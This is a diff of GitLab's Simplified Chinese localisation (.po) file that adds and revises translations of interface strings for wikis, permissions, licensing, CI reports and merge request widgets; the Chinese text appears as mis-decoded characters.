@@ -27155,16 +27964,16 @@ msgid "WikiEmpty|A wiki is where you can store all the details about your projec
msgstr "您å¯ä»¥ä½¿ç”¨ Wiki æ¥ä¿å­˜é¡¹ç›®çš„详细信æ¯ï¼Œä¾‹å¦‚:创建该项目的原因, 项目的原ç†åŠé¡¹ç›®çš„使用说明等等。"
msgid "WikiEmpty|Confluence is enabled"
-msgstr ""
+msgstr "Confluenceèžåˆå·²å¯ç”¨"
msgid "WikiEmpty|Create your first page"
msgstr "创建您的第一个页é¢"
msgid "WikiEmpty|Enable the Confluence Wiki integration"
-msgstr ""
+msgstr "å¯ç”¨Conflence Wiki集æˆ"
msgid "WikiEmpty|Go to Confluence"
-msgstr ""
+msgstr "转到Confluence"
msgid "WikiEmpty|Suggest wiki improvement"
msgstr "Wiki 改进建议"
@@ -27188,7 +27997,7 @@ msgid "WikiEmpty|You must be a project member in order to add wiki pages."
msgstr "åªæœ‰é¡¹ç›®æˆå‘˜æ‰å¯ä»¥æ·»åŠ  Wiki 页é¢ã€‚"
msgid "WikiEmpty|You've enabled the Confluence Workspace integration. Your wiki will be viewable directly within Confluence. We are hard at work integrating Confluence more seamlessly into GitLab. If you'd like to stay up to date, follow our %{wiki_confluence_epic_link_start}Confluence epic%{wiki_confluence_epic_link_end}."
-msgstr ""
+msgstr "您已å¯ç”¨Confluence Workspace集æˆã€‚您的Wikiå°†å¯ç›´æŽ¥åœ¨Confluence中查看。我们正在努力将Confluenceæ›´æ— ç¼åœ°é›†æˆåˆ°GitLab中。如果您想了解最新信æ¯ï¼Œè¯·å…³æ³¨æˆ‘们的%{wiki_confluence_epic_link_start}Confluenceå²è¯—%{wiki_confluence_epic_link_end}。"
msgid "WikiHistoricalPage|This is an old version of this page."
msgstr "这是此页é¢çš„过期版本。"
@@ -27209,7 +28018,7 @@ msgid "WikiMarkdownDocs|documentation"
msgstr "文档"
msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
+msgstr "è¦é“¾æŽ¥åˆ°(æ–°)页é¢ï¼Œåªéœ€é”®å…¥%{link_example}"
msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
msgstr "æ示:您å¯ä»¥æŒ‡å®šæ–°æ–‡ä»¶çš„完整路径。我们将自动创建完整的目录。"
@@ -27239,7 +28048,7 @@ msgid "WikiPage|Write your content or drag files here…"
msgstr "在这里编写您的内容或将文件拖动到此处..."
msgid "Wikis"
-msgstr ""
+msgstr "Wiki"
msgid "Wiki|Create New Page"
msgstr "创建新页é¢"
@@ -27281,7 +28090,7 @@ msgid "Will be created"
msgstr "将被创建"
msgid "Will be mapped to"
-msgstr ""
+msgstr "将被映射到"
msgid "Will deploy to"
msgstr "将部署到"
@@ -27302,7 +28111,7 @@ msgid "Work in progress Limit"
msgstr "“进行中â€é™åˆ¶"
msgid "Workflow Help"
-msgstr ""
+msgstr "工作æµå¸®åŠ©"
msgid "Write"
msgstr "编辑"
@@ -27338,7 +28147,7 @@ msgid "Yes, close issue"
msgstr "是的,关闭议题"
msgid "Yes, delete project"
-msgstr ""
+msgstr "是的,删除项目"
msgid "Yes, let me map Google Code users to full names or GitLab users."
msgstr "是的,让我将Google Code用户映射到全å或GitLab用户。"
@@ -27350,19 +28159,19 @@ msgid "You"
msgstr "您"
msgid "You already have pending todo for this alert"
-msgstr ""
+msgstr "您已有针对此警报的待处ç†çš„待办事项"
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr "å³å°†ä»Žæ‚¨çš„实例中删除 %{domain}。此域å将无法å†ç”¨äºŽä»»ä½•Knorigin应用程åºã€‚"
msgid "You are about to permanently delete this project"
-msgstr ""
+msgstr "您将永久删除此项目"
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "您å³å°†æŠŠå¸æˆ·æŽ§åˆ¶æƒè½¬ç§»åˆ°%{group_name}群组。此æ“作ä¸å¯æ’¤æ¶ˆï¼Œè½¬ç§»å®ŒæˆåŽï¼Œæ‚¨å°†æ— æ³•è®¿é—®%{group_name}以外的任何群组和项目。"
msgid "You are an admin, which means granting access to %{client_name} will allow them to interact with GitLab as an admin as well. Proceed with caution."
-msgstr ""
+msgstr "您是管ç†å‘˜ï¼Œè¿™æ„味ç€èµ‹äºˆ%{client_name}æƒé™å°†å…许他们作为管ç†å‘˜æ¥å¯¹GitLab进行æ“作。请谨慎行事。"
msgid "You are attempting to delete a file that has been previously updated."
msgstr "您正在å°è¯•åˆ é™¤å…ˆå‰å·²æ›´æ–°çš„文件。"
@@ -27373,11 +28182,11 @@ msgstr "您正在å°è¯•æ›´æ–°çš„文件自您开始编辑以æ¥å·²ç»å‘生更改
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr "您已连接到PrometheusæœåŠ¡å™¨ï¼Œä½†å½“å‰æ²¡æœ‰æ•°æ®å¯æ˜¾ç¤ºã€‚"
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "您将删除%{group_name},这也将删除其所有å­ç¾¤ç»„和项目。删除的群组无法æ¢å¤ï¼ç¡®å®šç»§ç»­ï¼Ÿ"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "å°†è¦åˆ é™¤ %{project_full_name}。删除åŽå°†æ— æ³•æ¢å¤ï¼ç¡®å®šæ‰§è¡Œæ­¤æ“作?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr "å³å°†åˆ é™¤ä¸Žæºé¡¹ç›®%{project_full_name}的派生关系。确定继续å—?"
@@ -27385,6 +28194,12 @@ msgstr "å³å°†åˆ é™¤ä¸Žæºé¡¹ç›®%{project_full_name}的派生关系。确定继ç
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "å°†è¦æŠŠ %{project_full_name} 转移给å¦ä¸€ä¸ªæ‰€æœ‰è€…。确定执行此æ“作?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr "您无æƒæŽ¨é€åˆ°æ­¤åˆ†æ”¯ã€‚请创建一个新的分支或开å¯åˆå¹¶è¯·æ±‚。"
@@ -27394,6 +28209,9 @@ msgstr "您ä¸èƒ½å–消与主登录å¸æˆ·çš„å…³è”"
msgid "You are not authorized to perform this action"
msgstr "您无æƒæ‰§è¡Œæ­¤æ“作"
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr "您正在使用%{username}的身份"
@@ -27407,7 +28225,7 @@ msgid "You are trying to upload something other than an image. Please upload a .
msgstr "您正在å°è¯•ä¸Šä¼ éžå›¾ç‰‡æ–‡ä»¶ã€‚请上传.pngã€.jpgã€.jpegã€.gifã€.bmpã€.tiff或.ico。"
msgid "You are using PostgreSQL %{pg_version_current}, but PostgreSQL %{pg_version_minimum} is required for this version of GitLab. Please upgrade your environment to a supported PostgreSQL version, see %{pg_requirements_url} for details."
-msgstr ""
+msgstr "您正在使用PostgreSQL %{pg_version_current},但此版本的GitLab需è¦PostgreSQL %{pg_version_minimum}。请将您的环境å‡çº§åˆ°æ”¯æŒçš„ PostgreSQL版本,详情请è§%{pg_requirements_url}。"
msgid "You can %{linkStart}view the blob%{linkEnd} instead."
msgstr "您å¯ä»¥ %{linkStart}查看BLOB%{linkEnd} 代替。"
@@ -27430,9 +28248,6 @@ msgstr "您å¯ä»¥åœ¨ %{lint_link_start}CI Lint%{lint_link_end} 中测试 %{gitla
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "您还å¯ä»¥æŒ‰ç…§ä»¥ä¸‹è¯´æ˜Žä»Žè®¡ç®—机中上传现有文件。"
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr "您还å¯ä»¥ä½¿ç”¨é¡¹ç›®è®¿é—®ä»¤ç‰Œé€šè¿‡HTTP进行Git验è¯ã€‚"
-
msgid "You can always edit this later"
msgstr "您也å¯ä»¥ç¨åŽç¼–辑此选项。"
@@ -27440,10 +28255,10 @@ msgid "You can apply your Trial to your Personal account or create a New Group."
msgstr "您å¯ä»¥åœ¨æ‚¨çš„个人å¸æˆ·è¯•ç”¨æˆ–创建新群组试用。"
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
-msgstr ""
+msgstr "您å¯ä»¥åœ¨%{pat_link_start}个人访问令牌%{pat_link_end}设置中创建新的令牌或检查现有的令牌。"
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
-msgstr ""
+msgstr "您å¯ä»¥åœ¨ä¸ªäººè®¿é—®ä»¤ç‰Œè®¾ç½®%{pat_link}中创建新的访问令牌或检查现有的令牌。"
msgid "You can create new ones at your %{pat_link_start}Personal Access Tokens%{pat_link_end} settings"
msgstr "您å¯ä»¥åœ¨%{pat_link_start}个人访问令牌%{pat_link_end}设置中创建新的令牌"
@@ -27466,14 +28281,14 @@ msgstr "您å¯ä»¥ä¸ºæ¯ä¸ªåº”用程åºç”Ÿæˆé€‚用于此项目的访问令牌,
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr "您å¯ä»¥é€šè¿‡å…‹éš†ä»“库开始或开始以以下方å¼ä¹‹ä¸€æ·»åŠ æ–‡ä»¶ã€‚"
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "邀请新æˆå‘˜æˆ–å¦ä¸€ä¸ªç¾¤ç»„加入<strong>%{project_name}</strong>。"
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "邀请新æˆå‘˜åŠ å…¥<strong>%{project_name}</strong>。"
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
-msgstr "您å¯ä»¥é‚€è¯·å¦ä¸€ä¸ªç¾¤ç»„加入<strong>%{project_name}</strong>。"
+msgid "You can invite another group to %{project_name}."
+msgstr ""
msgid "You can move around the graph by using the arrow keys."
msgstr "å¯ä»¥ä½¿ç”¨æ–¹å‘键移动图形。"
@@ -27509,7 +28324,7 @@ msgid "You can only upload one design when dropping onto an existing design."
msgstr "通过拖放到现有设计的方å¼ï¼Œæ‚¨æ¯æ¬¡åªèƒ½ä¸Šä¼ ä¸€ä¸ªè®¾è®¡ã€‚"
msgid "You can recover this project until %{date}"
-msgstr ""
+msgstr "您å¯ä»¥åœ¨%{date}之å‰æ¢å¤æ­¤é¡¹ç›®"
msgid "You can resolve the merge conflict using either the Interactive mode, by choosing %{use_ours} or %{use_theirs} buttons, or by editing the files directly. Commit these changes into %{branch_name}"
msgstr "您å¯ä»¥ä½¿ç”¨äº¤äº’模å¼ï¼Œé€šè¿‡é€‰æ‹© %{use_ours} 或 %{use_theirs} 按钮æ¥è§£å†³åˆå¹¶å†²çªã€‚也å¯ä»¥é€šè¿‡ç›´æŽ¥ç¼–辑文件æ¥è§£å†³åˆå¹¶å†²çªã€‚然åŽå°†è¿™äº›æ›´æ”¹æ交到 %{branch_name}"
@@ -27556,11 +28371,11 @@ msgstr "您ä¸èƒ½å†™å…¥è¿™ä¸ªåªè¯»çš„ GitLab 实例。"
msgid "You could not create a new trigger."
msgstr "您无法创建新的触å‘器。"
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
-msgstr "您没有为%{strong}%{namespace_name}%{strong_close}续订%{strong}%{plan_name}%{strong_close}订阅,因此它已é™çº§ä¸ºå…费计划。"
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
-msgstr "您没有续订%{strong}%{plan_name}%{strong_close}订阅,因此它已é™çº§ä¸ºGitLab核心计划。"
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
+msgstr ""
msgid "You do not have an active license"
msgstr "您没有有效的许å¯è¯"
@@ -27608,7 +28423,7 @@ msgid "You don't have sufficient permission to perform this action."
msgstr "你没有足够的æƒé™æ¥æ‰§è¡Œæ­¤æ“作。"
msgid "You don't have write access to the source branch."
-msgstr ""
+msgstr "您没有对æºåˆ†æ”¯çš„写æƒé™ã€‚"
msgid "You don’t have access to Productivity Analytics in this group"
msgstr "您没有访问此群组效率分æžçš„æƒé™"
@@ -27626,22 +28441,22 @@ msgid "You have been granted %{access_level} access to the %{source_name} %{sour
msgstr "你已被授予 %{access_level} 访问 %{source_name} %{source_type} çš„æƒé™ã€‚"
msgid "You have been granted %{member_human_access} access to %{title} %{name}."
-msgstr ""
+msgstr "你已被授予访问%{title}%{name}çš„%{member_human_access}æƒé™ã€‚"
msgid "You have been invited"
-msgstr ""
+msgstr "您已被邀请"
msgid "You have been unsubscribed from this thread."
msgstr "您已å–消订阅该主题。"
msgid "You have declined the invitation to join %{title} %{name}."
-msgstr ""
+msgstr "您已拒ç»åŠ %{title}%{name}的邀请。"
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr "您已从该项目导入%{numberOfPreviousImports} 次。æ¯æ¬¡å¯¼å…¥éƒ½ä¼šäº§ç”Ÿé‡å¤çš„议题。"
msgid "You have insufficient permissions to create a Todo for this alert"
-msgstr ""
+msgstr "您没有足够的æƒé™ä¸ºè¿™ä¸ªè­¦æŠ¥åˆ›å»ºå¾…办事项"
msgid "You have no permissions"
msgstr "没有æƒé™"
@@ -27677,7 +28492,7 @@ msgid "You must have maintainer access to force delete a lock"
msgstr "必须拥有维护者æƒé™æ‰èƒ½å¼ºåˆ¶åˆ é™¤é”"
msgid "You must have permission to create a project in a group before forking."
-msgstr ""
+msgstr "在创建派生之å‰ï¼Œæ‚¨å¿…须具有在群组中创建项目的æƒé™ã€‚"
msgid "You must have permission to create a project in a namespace before forking."
msgstr "在创建派生之å‰ï¼Œæ‚¨å¿…须具有在命å空间中创建项目的æƒé™ã€‚"
@@ -27772,6 +28587,9 @@ msgstr "在账å·ä¸­ %{set_password_link} 之å‰å°†æ— æ³•é€šè¿‡ %{protocol} 拉å
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "在您的个人资料中添加SSH密钥之å‰ï¼Œæ‚¨ä¸èƒ½é€šè¿‡SSHæ¥æ‹‰å–或推é€é¡¹ç›®ä»£ç ã€‚"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr "您将自动从当å‰å¸æˆ·é€€å‡ºã€‚"
@@ -27847,8 +28665,8 @@ msgstr "您的æ交电å­é‚®ä»¶å°†ç”¨äºŽåŸºäºŽwebçš„æ“作,例如编辑与åˆ
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr "如果没有设置%{openingTag}群组特定的电å­é‚®ä»¶åœ°å€%{closingTag} ,您的默认通知电å­é‚®ä»¶å°†ç”¨äºŽå¸æˆ·é€šçŸ¥ã€‚"
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
-msgstr "您的DevOps指数概述了从功能角度使用GitLabçš„æ–¹å¼ã€‚查看您与其他组织的比较,å‘现您未使用的功能,并通过åšå®¢æ–‡ç« å’Œç™½çš®ä¹¦äº†è§£æœ€ä½³å®žè·µã€‚"
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "您的GPG密钥 (%{count})"
@@ -27964,6 +28782,9 @@ msgstr "您的群组"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr "您的实例中包å«%{remaining_user_count}个用户,而您的订阅中包å«%{total_user_count}个用户。您å¯ä»¥æ·»åŠ è¶…过许å¯è¯ä¸­åŒ…å«çš„用户数,我们将在您的下一份账å•ä¸­åŒ…括超é¢è´¹ç”¨ã€‚"
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr "您的实例å³å°†è¾¾åˆ°è®¸å¯ç”¨æˆ·æ•°"
@@ -27977,7 +28798,7 @@ msgid "Your license is valid from"
msgstr "您的许å¯è¯æœ‰æ•ˆæœŸè‡ª"
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
-msgstr ""
+msgstr "您的许å¯è¯å°†åŒ…å«åœ¨æ‚¨çš„GitLab备份中,且å‡çº§åŽä¾ç„¶æœ‰æ•ˆï¼Œ 所以在正常使用中,您一般ä¸éœ€è¦é‡æ–°ä¸Šä¼ %{code_open}gitlab-license%{code_close}文件。"
msgid "Your message here"
msgstr "您的消æ¯æ˜¾ç¤ºäºŽæ­¤"
@@ -28004,7 +28825,7 @@ msgid "Your password reset token has expired."
msgstr "您的密ç é‡ç½®ä»¤ç‰Œå·²è¿‡æœŸã€‚"
msgid "Your personal access token has expired"
-msgstr ""
+msgstr "您的个人访问令牌已过期"
msgid "Your profile"
msgstr "个人资料"
@@ -28028,7 +28849,7 @@ msgid "Your search didn't match any commits."
msgstr "您的æœç´¢æ²¡æœ‰åŒ¹é…任何æ交。"
msgid "Your search didn't match any commits. Try a different query."
-msgstr ""
+msgstr "您的æœç´¢ä¸ŽæœªåŒ¹é…任何æ交。请å°è¯•å…¶ä»–查询。"
msgid "Your subscription expired!"
msgstr "您的订阅已过期ï¼"
@@ -28059,7 +28880,7 @@ msgid_plural "about %d hours"
msgstr[0] "约%då°æ—¶"
msgid "access:"
-msgstr ""
+msgstr "访问:"
msgid "activated"
msgstr "已激活"
@@ -28091,6 +28912,9 @@ msgstr "已与该群组分享"
msgid "among other things"
msgstr "åŠå…¶ä»–功能"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr "åˆå¹¶è¯·æ±‚已有任æ„核准人(any-approver)"
@@ -28098,16 +28922,16 @@ msgid "any-approver for the project already exists"
msgstr "项目已有任æ„核准人(any-approver)"
msgid "approved by: "
-msgstr ""
+msgstr "已核准人: "
msgid "archived"
msgstr "已存档"
msgid "archived:"
-msgstr ""
+msgstr "存档:"
msgid "as %{role}."
-msgstr ""
+msgstr "作为%{role}。"
msgid "assign yourself"
msgstr "分é…给自己"
@@ -28146,7 +28970,7 @@ msgid "cannot block others"
msgstr "ä¸ä¼šé˜»å¡žå…¶ä»–"
msgid "cannot contain HTML/XML tags, including any word between angle brackets (&lt;,&gt;)."
-msgstr ""
+msgstr "ä¸èƒ½åŒ…å«HTML/XML标记,包括尖括å·(&lt;,&gt;)之间的任何文字。"
msgid "cannot include leading slash or directory traversal."
msgstr "ä¸èƒ½ä»¥æ–œçº¿å¼€å¤´æˆ–转到仓库以外目录。"
@@ -28158,19 +28982,19 @@ msgid "cannot merge"
msgstr "无法åˆå¹¶"
msgid "child-pipeline"
-msgstr ""
+msgstr "å­æµæ°´çº¿"
msgid "ciReport|%{degradedNum} degraded"
-msgstr ""
+msgstr "å·²é™ä½Ž%{degradedNum}"
msgid "ciReport|%{improvedNum} improved"
-msgstr ""
+msgstr "已改进%{improvedNum}"
msgid "ciReport|%{linkStartTag}Learn more about Container Scanning %{linkEndTag}"
msgstr "%{linkStartTag}了解更多有关容器安全扫æçš„ä¿¡æ¯ %{linkEndTag}"
msgid "ciReport|%{linkStartTag}Learn more about Coverage Fuzzing %{linkEndTag}"
-msgstr ""
+msgstr "%{linkStartTag}了解有关Coverage Fuzzing的更多信æ¯%{linkEndTag}"
msgid "ciReport|%{linkStartTag}Learn more about DAST %{linkEndTag}"
msgstr "%{linkStartTag}了解更多有关DAST %{linkEndTag}çš„ä¿¡æ¯"
@@ -28197,7 +29021,7 @@ msgid "ciReport|%{reportType}: Loading resulted in an error"
msgstr "%{reportType}:å‘生一个错误"
msgid "ciReport|%{sameNum} same"
-msgstr ""
+msgstr "相åŒ%{sameNum}"
msgid "ciReport|(errors when loading results)"
msgstr "(加载结果时出错)"
@@ -28212,7 +29036,7 @@ msgid "ciReport|All projects"
msgstr "所有项目"
msgid "ciReport|All scanners"
-msgstr ""
+msgstr "所有扫æ工具"
msgid "ciReport|All severities"
msgstr "全部严é‡çº§åˆ«"
@@ -28224,13 +29048,13 @@ msgid "ciReport|Base pipeline codequality artifact not found"
msgstr "找ä¸åˆ°åŸºå‡†æµæ°´çº¿ä»£ç è´¨é‡äº§ç‰©"
msgid "ciReport|Browser performance test metrics: "
-msgstr ""
+msgstr "æµè§ˆå™¨æ€§èƒ½æµ‹è¯•æŒ‡æ ‡: "
msgid "ciReport|Browser performance test metrics: No changes"
-msgstr ""
+msgstr "æµè§ˆå™¨æ€§èƒ½æµ‹è¯•æŒ‡æ ‡ï¼šæ— å˜åŒ–"
msgid "ciReport|Checks"
-msgstr ""
+msgstr "检查"
msgid "ciReport|Code quality"
msgstr "代ç è´¨é‡"
@@ -28245,13 +29069,13 @@ msgid "ciReport|Container scanning detects known vulnerabilities in your docker
msgstr "容器扫æå¯ä»¥æ£€æµ‹Dockeré•œåƒä¸­ä¸­å·²çŸ¥çš„安全æ¼æ´žã€‚"
msgid "ciReport|Coverage Fuzzing"
-msgstr "覆盖率模糊测试"
+msgstr "Coverage Fuzzing"
msgid "ciReport|Coverage Fuzzing Title"
-msgstr ""
+msgstr "Coverage Fuzzing标题"
msgid "ciReport|Coverage fuzzing"
-msgstr ""
+msgstr "Coverage Fuzzing"
msgid "ciReport|Create a merge request to implement this solution, or download and apply the patch manually."
msgstr "创建一个åˆå¹¶è¯·æ±‚æ¥æ‰§è¡Œè¿™ä¸ªè§£å†³æ–¹æ¡ˆï¼Œæˆ–者下载并手动应用补ä¸ã€‚"
@@ -28299,10 +29123,10 @@ msgid "ciReport|Learn more about interacting with security reports"
msgstr "了解更多关于与安全报告交互的信æ¯"
msgid "ciReport|Load performance test metrics: "
-msgstr ""
+msgstr "负载性能测试指标:"
msgid "ciReport|Load performance test metrics: No changes"
-msgstr ""
+msgstr "负载性能测试指标:无å˜åŒ–"
msgid "ciReport|Loading %{reportName} report"
msgstr "载入%{reportName} 报告"
@@ -28320,7 +29144,7 @@ msgid "ciReport|No code quality issues found"
msgstr "未å‘现代ç è´¨é‡é—®é¢˜"
msgid "ciReport|RPS"
-msgstr ""
+msgstr "RPS"
msgid "ciReport|Resolve with merge request"
msgstr "通过åˆå¹¶è¯·æ±‚解决"
@@ -28350,10 +29174,10 @@ msgid "ciReport|Static Application Security Testing (SAST) detects known vulnera
msgstr "é™æ€åº”用安全测试(SAST)å¯ä»¥æ£€æµ‹æºä»£ç ä¸­å·²çŸ¥çš„æ¼æ´žã€‚"
msgid "ciReport|TTFB P90"
-msgstr ""
+msgstr "TTFB P90"
msgid "ciReport|TTFB P95"
-msgstr ""
+msgstr "TTFB P95"
msgid "ciReport|There was an error creating the issue. Please try again."
msgstr "创建议题时å‘生错误。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -28392,12 +29216,6 @@ msgstr "æ交 %{commit_id}"
msgid "committed"
msgstr "å·²æ交"
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "å³å°†å…³é—­ç§å¯†æ€§ã€‚这将使得 <strong>所有用户</strong>都å¯ä»¥æŸ¥çœ‹å¹¶ä¸”评论当å‰è®®é¢˜ã€‚"
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "å³å°†è®¾ç½®ç§å¯†æ€§ã€‚这将使得 <strong>至少有Reporter以上æƒé™</strong>的团队æˆå‘˜æ‰èƒ½æŸ¥çœ‹å¹¶ä¸”评论当å‰è®®é¢˜ã€‚"
-
msgid "connecting"
msgstr "连接中"
@@ -28451,7 +29269,7 @@ msgid "disabled"
msgstr "å·²ç¦ç”¨"
msgid "does not exist"
-msgstr ""
+msgstr "ä¸å­˜åœ¨"
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr "当å‰æ‰©å±•åä¸æ”¯æŒã€‚åªæ”¯æŒ%{extension_list}"
@@ -28551,11 +29369,15 @@ msgstr "派生此项目"
msgid "from"
msgstr "æ¥è‡ª"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr "群组"
msgid "group members"
-msgstr ""
+msgstr "群组æˆå‘˜"
msgid "groups"
msgstr "群组"
@@ -28564,13 +29386,13 @@ msgid "has already been linked to another vulnerability"
msgstr "å·²ç»é“¾æŽ¥åˆ°å¦ä¸€ä¸ªæ¼æ´ž"
msgid "has already been taken"
-msgstr "å·²ç»è¢«ä½¿ç”¨"
+msgstr "已被使用"
msgid "help"
msgstr "帮助"
msgid "http:"
-msgstr ""
+msgstr "http:"
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
@@ -28596,9 +29418,6 @@ msgstr "在 %{link_to_group} 群组"
msgid "in project %{link_to_project}"
msgstr "在 %{link_to_project} 项目"
-msgid "index"
-msgstr "索引"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "实例已完æˆ"
@@ -28631,7 +29450,7 @@ msgid "is not"
msgstr "ä¸æ˜¯"
msgid "is not a descendant of the Group owning the template"
-msgstr "ä¸æ˜¯æ‹¥æœ‰æ¨¡æ¿çš„组的å­æˆå‘˜"
+msgstr "相关群组ä¸å«æ¨¡ç‰ˆ"
msgid "is not a valid X509 certificate."
msgstr "ä¸æ˜¯æœ‰æ•ˆçš„X509è¯ä¹¦ã€‚"
@@ -28639,6 +29458,9 @@ msgstr "ä¸æ˜¯æœ‰æ•ˆçš„X509è¯ä¹¦ã€‚"
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr "ä¸è¢«å…许。请使用其他电å­é‚®ä»¶åœ°å€é‡è¯•ï¼Œæˆ–与您的GitLab管ç†å‘˜è”系。"
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr "ä¸æ˜¯æ‚¨è‡ªå·±çš„电å­é‚®ä»¶"
@@ -28688,7 +29510,7 @@ msgid "jigsaw is not defined"
msgstr "拼图未定义"
msgid "last commit:"
-msgstr ""
+msgstr "最åŽæ交:"
msgid "latest"
msgstr "最新"
@@ -28718,7 +29540,7 @@ msgid "loading"
msgstr "加载中"
msgid "locked"
-msgstr ""
+msgstr "å·²é”定"
msgid "locked by %{path_lock_user_name} %{created_at}"
msgstr "被 %{path_lock_user_name} 在 %{created_at} é”定"
@@ -28740,10 +29562,10 @@ msgid_plural "merge requests"
msgstr[0] "åˆå¹¶è¯·æ±‚"
msgid "merged %{timeAgo}"
-msgstr ""
+msgstr "åˆå¹¶äºŽ%{timeAgo}"
msgid "metric_id must be unique across a project"
-msgstr ""
+msgstr "metric_id必须是整个项目唯一的"
msgid "missing"
msgstr "丢失"
@@ -28787,9 +29609,15 @@ msgstr "%{metricsLinkStart} 内存 %{metricsLinkEnd} å ç”¨ %{emphasisStart} æ— 
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr "当å‰%{prefixToLinkStart}æ— æµæ°´çº¿%{prefixToLinkEnd},å¯é€šè¿‡%{addPipelineLinkStart}添加.gitlab-ci.yml æ–‡%{addPipelineLinkEnd}æ¥åˆ›å»ºä¸€ä¸ªã€‚"
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr "已被添加到åˆå¹¶é˜Ÿåˆ—,添加者:"
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "å…许具有åˆå¹¶åˆ°ç›®æ ‡åˆ†æ”¯æƒé™çš„æˆå‘˜æ交"
@@ -28802,6 +29630,9 @@ msgstr "检索此åˆå¹¶è¯·æ±‚的核准数æ®æ—¶å‘生错误。"
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "æ交批准时å‘生错误。"
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "批准密ç æ— æ•ˆ"
@@ -28818,7 +29649,7 @@ msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr "您会增加技术债务或引入代ç æ¼æ´žå—?"
msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
+msgstr "必须解决一个或多个主题åŽæ­¤åˆå¹¶è¯·æ±‚æ‰å¯ä»¥åˆå¹¶ã€‚"
msgid "mrWidget|Cancel automatic merge"
